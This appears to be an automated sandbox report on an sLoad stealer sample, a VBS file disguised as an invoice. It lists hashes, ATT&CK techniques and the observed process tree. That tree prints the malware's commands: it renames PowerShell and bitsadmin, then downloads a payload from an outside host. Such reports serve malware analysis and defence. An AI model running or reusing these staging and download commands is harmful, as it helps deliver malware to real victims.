sload | ffcf58b4d749d51adbcd3164938d59a494342e450dfd68b678788b695f25184d

Analysis

max time kernel
146s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20220414-en
submitted
20-05-2022 14:38

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General

Target

Fatt_cliente_00453830309.vbs
Size

3KB
MD5

62b3b8b5c2ceacaee5e3e22939c45a43
SHA1

3a579492c1c373cb61ced3c7a88cffb13d73e1ac
SHA256

77e7a4deb92496d0954a6fd03cece71dfd53bc774cfb89dc16410c91cf09f598
SHA512

0b969e6f0163f22402bfb31f424ff33b8985a1406fd65936e4239b31ba1b75501cbea31bd944cd02c97d88e707e08097b83b8b258e2352b4f92286e09fac93d1

Score

10^/10

sload stealer trojan

Malware Config

Signatures

sLoad
sLoad is a PowerShell downloader that can exfiltrate system information and deliver additional payloads.
trojan stealer sload

Executes dropped EXE 1 IoCs

pid	Process
3680	FeUgzu.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1081944012-3634099177-1681222835-1000\Control Panel\International\Geo\Nation	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 3684 wrote to memory of 3724	3684	WScript.exe	80
PID 3684 wrote to memory of 3724	3684	WScript.exe	80
PID 3684 wrote to memory of 4884	3684	WScript.exe	82
PID 3684 wrote to memory of 4884	3684	WScript.exe	82
PID 3684 wrote to memory of 3680	3684	WScript.exe	84
PID 3684 wrote to memory of 3680	3684	WScript.exe	84
PID 3684 wrote to memory of 3680	3684	WScript.exe	84

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Fatt_cliente_00453830309.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3684
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Roaming\zFeUgzu.exe
  2⤵
  PID:3724
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c copy /Z c:\Windows\SysWOW64\bitsadmin.exe C:\Users\Admin\AppData\Roaming\FeUgzu.exe
  2⤵
  PID:4884
- C:\Users\Admin\AppData\Roaming\FeUgzu.exe
  "C:\Users\Admin\AppData\Roaming\FeUgzu.exe" /transfer DQeUoq /download https://sheyenneweber.com/webol/00453830309/uk.jpg C:\Users\Admin\AppData\Roaming\uk.jpg
  2⤵
  - Executes dropped EXE
  PID:3680

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\FeUgzu.exe

Filesize
182KB

MD5
f57a03fa0e654b393bb078d1c60695f3

SHA1
1ced6636bd2462c0f1b64775e1981d22ae57af0b

SHA256
c93b7734470cf96c5170f7b21f361cdf3f74ca819626c83c4b8a68210deeb35c

SHA512
7e84dd9a3e29523d25c0927424261ced908191e3151c9802b61fa3c5fe13d1192d19996cb435bb6d9be5731b8370e8ffb6ad26a4ba0733e212a103eb0bd75a2a

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C:\Users\Admin\AppData\Roaming\FeUgzu.exe

Filesize
182KB

MD5
f57a03fa0e654b393bb078d1c60695f3

SHA1
1ced6636bd2462c0f1b64775e1981d22ae57af0b

SHA256
c93b7734470cf96c5170f7b21f361cdf3f74ca819626c83c4b8a68210deeb35c

SHA512
7e84dd9a3e29523d25c0927424261ced908191e3151c9802b61fa3c5fe13d1192d19996cb435bb6d9be5731b8370e8ffb6ad26a4ba0733e212a103eb0bd75a2a

Download Submit